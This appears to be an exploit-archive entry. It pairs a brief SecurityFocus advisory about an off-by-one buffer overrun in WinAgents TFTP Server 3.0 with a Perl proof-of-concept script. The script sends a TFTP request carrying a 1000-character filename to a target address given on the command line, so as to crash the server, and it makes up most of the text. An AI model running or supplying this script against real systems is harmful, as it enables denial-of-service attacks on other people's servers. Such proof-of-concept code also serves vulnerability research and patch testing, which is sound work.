source: http://www.securityfocus.com/bid/10526/info WinAgents TFTP Server is reported prone to a remote off-by-one buffer overrun vulnerability. The issue is reported to exist due to a lack of sufficient boundary checks performed on filenames when a request is made for a file. A remote attacker may make a malicious request to the server for a filename of excessive length. This request will trigger the vulnerability. Immediate consequences of such an attack will reportedly result in a denial of service. #!/usr/bin/perl # # Remote D.O.S WinAgents TFTP Server ver 3.0 # # Tftp.pl use IO::Socket; $Tftp_Port = "69"; $FileName = "A"x1000; $Tftp_OP = "\x00\x01"; $Tftp_M = "bin"; $Buf = $Tftp_OP . $Tftp_M . $FileName ; if(!($ARGV[0])) print "\nUsage: perl $0 \n" ; exit; print "\nRemote D.O.S WinAgents TFTP Server ver 3.0 PoC\n\n\n"; $socket = IO::Socket::INET->new(Proto => "udp") or die "Socket Error ...\n" ; $ipaddr = inet_aton($ARGV[0]); $portaddr = sockaddr_in($Tftp_Port, $ipaddr); send($socket, $Buf, 0, $portaddr) == length($Buf) or die "Error : Can't send ...\n"; print "Server : $ARGV[0] Is Down ... \n";
